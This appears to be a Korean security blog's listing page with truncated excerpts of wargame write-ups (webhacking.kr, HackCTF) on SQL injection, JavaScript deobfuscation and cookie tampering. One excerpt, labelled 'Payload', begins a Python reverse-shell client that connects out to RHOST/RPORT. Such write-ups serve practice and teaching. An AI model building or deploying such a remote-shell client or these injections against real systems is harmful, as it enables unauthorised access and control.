HACKINTOANETWORK

OFFENSIVE SECURITY RESEARCHER, PENETRATION TESTER

Wargame/Webhacking.kr

문제에 들어가면 SQL 인젝션으로 푸는 문제라는 걸 알려준다. view-source에 들어가 php 소스를 보았다. 코드를 보았을때, no를 GET 방식으로 입력받아야 아래 소스가 실행된다는 것을 알 수 있다. 여기서 no는 입력칸에 입력된 값이 저장되는 변수이다. admin의 no 값이 2라는 걸 주석을 통해 알려주고 있다. id가 "guest"인 경우 "hi guest"를 출력하고 id가 "admin"인 경우 해당 문제가 풀리고 "hi admin!" 이 출력된다. mysqli_query 함수에 의해 생성되는 SQL 쿼리문을 자세히 보자. select id from chall18 where id='guest' and no=$_GET[no] chall18 테이블에서 id는 'guest'이고 no 파라미터..

2022. 4. 30.

Wargame/Webhacking.kr

문제에 들어가면 입력 폼과 체크 박스를 볼 수 있다. 바로 페이지 소스를 보았다. 페이지 소스에는 자바스크립트 소스가 포함되어 있었다. unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5..

2022. 4. 30.

Exploit/Tools

Payload import os import time import socket import getpass import platform import subprocess from colorama import Fore, Style def client_connect(): global sock try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((RHOST, RPORT)) return sock except ConnectionRefusedError: time.sleep(5) def header(): header = f"""{Fore.LIGHTBLUE_EX}┌──({Fore.CYAN}{getpass.getuser()}{Style.RES..

2022. 4. 29.

Wargame/Webhacking.kr

문제에 들어가보자. 문제에 들어가면 위와 같은 페이지가 나온다. 바로 페이지 소스를 보았고 자바스크립트 코드가 있었다. document.body.innerHTML+="*"; function mv(cd){ kk(star.style.left-50,star.style.top-50); if(cd==100) star.style.left=parseInt(star.style.left+0,10)+50+"px"; if(cd==97) star.style.left=parseInt(star.style.left+0,10)-50+"px"; if(cd==119) star.style.top=parseInt(star.style.top+0,10)-50+"px"; if(cd==115) star.style.top=parseInt(star...

2022. 4. 29.

Wargame/Webhacking.kr

문제에 들어가면 위와 같은 페이지가 나온다. 페이지 소스를 보았더니 스크립트 코드가 있었다. function ck(){ var ul=document.URL; ul=ul.indexOf(".kr"); ul=ul*30; if(ul==pw.input_pwd.value) { location.href="?"+ul*pw.input_pwd.value; } else { alert("Wrong"); } } 코드를 분석해보자면 check 박스를 눌렀을 때 ck 함수가 실행되고 ul에는 페이지 URL(주소)을 받아온다. 그런 다음 indexOf 함수로 .kr이 처음 시작하는 인덱스 값을 ul에 다시 저장하고 다시 저장한 값을 30과 곱하여 input_pwd.value(폼에서 받아온 값)와 같다면 문제가 해결하라는 뜻이다. u..

2022. 4. 28.

Wargame/Webhacking.kr

문제에 들어가보면 위와 같은 페이지가 나온다. view-source 버튼을 눌러보았다. 누르니 다음과 같은 페이지가 나왔다. 소스 코드를 분석하던 중 Setcookie 라는 문구가 눈에 띄었고 이를 통해 쿠키값을 변조해서 푸는 문제라는 걸 알았다. 문제 풀이에 필요한 부분만 보자면 쿠키 값은 base64로 20번 인코딩하여 설정하고 다시 20번 디코딩하여 쿠키 값을 확인 하고 있다. 만약 디코딩 된 쿠키 값으로 id가 admin 이고 pw가 nimda 면 풀릴 것이다. 그러므로 admin과 nimda라는 문자열을 base64로 20번 인코딩 해야 한다. 수작업으로 admin과 nimda를 각각 20번 인코딩하면 되지만 매우 귀찮으므로 파이썬으로 스크립트를 짜주었다. import base64 val_id=..

2022. 4. 28.

Wargame/Webhacking.kr

문제에 들어가보자. 문제에 들어가자마자 Access_Denied 라는 경고창이 뜨면서 들어가지지 않는다. 크롬 브라우저 사이트 설정에서 자바스크립트를 차단해보았다. 자바스크립트를 차단하고 들어가보니 아무것도 뜨지 않았다. 개발자 도구 창에서 페이지 코드를 보니 페이지 속 스크립트 코드를 볼 수 있었다. document.write("[Get Flag]"); 이 부분을 봤을때 ?getFlag 라는 값을 url에 넣어주면 될 것 같다. 자바 스크립트를 허용해주고 https://webhacking.kr/challenge/js-2/?getFlag 이 주소로 이동해보자. 정상적으로 풀린 것을 확인할 수 있다. Webhacking.kr Index Welcome Stranger! Chatting Notice(en) [..

2022. 4. 28.

Wargame/HackCTF

해당 url을 눌러 이동해보자. 이동하였더니 로그인 창이 뜬다. 아무런 값이나 넣어 로그인 해보았는데 로그인이 되었다. 로그인이 되면 위와 같은 페이지가 나온다. 1 부터 10까지 다 눌러본 결과는 다음과 같다. Slow and steady win the race. Everything will be done if you try hard. Success doesn't come overnight. Slow to resolute, but in performance quick. If the wind will not serve, take to the oars. Opportunity seldom knocks twice. No sweat, no sweet. Let your nose go in front, but do..

2022. 3. 27.

Wargame/HackCTF

해당 url로 이동해보자. 이동하면 위와 같은 로그인 페이지가 나온다. 처음에는 로그인 페이지만 보고 SQL 인젝션 문제인지 알았지만 그게 아니었다.. 개발자 도구로 보니 위와 같이 로그인 페이지 JS 소스가 주어졌다. 소스를 보니 Username과 Password를 받아서 코드를 실행하는데 Username의 길이가 9자리면 코드가 실행된다고 한다. 자바스크립트 코트 아래쪽에 id="cresponse"라는 필드가 있다. 9글자인 걸 보니 Username이 "cresponse"라고 알려주는 듯 하다. "cresponse"를 넣어 로그인 버튼을 누른 후 개발자 도구 콘솔에서 아래와 같은 buf 문자열을 얻었다. 'na d8f08r_hzXk\x15bl\x03hh["{.\x7F+r.\'s1q=%|?dretv/#..

2022. 3. 27.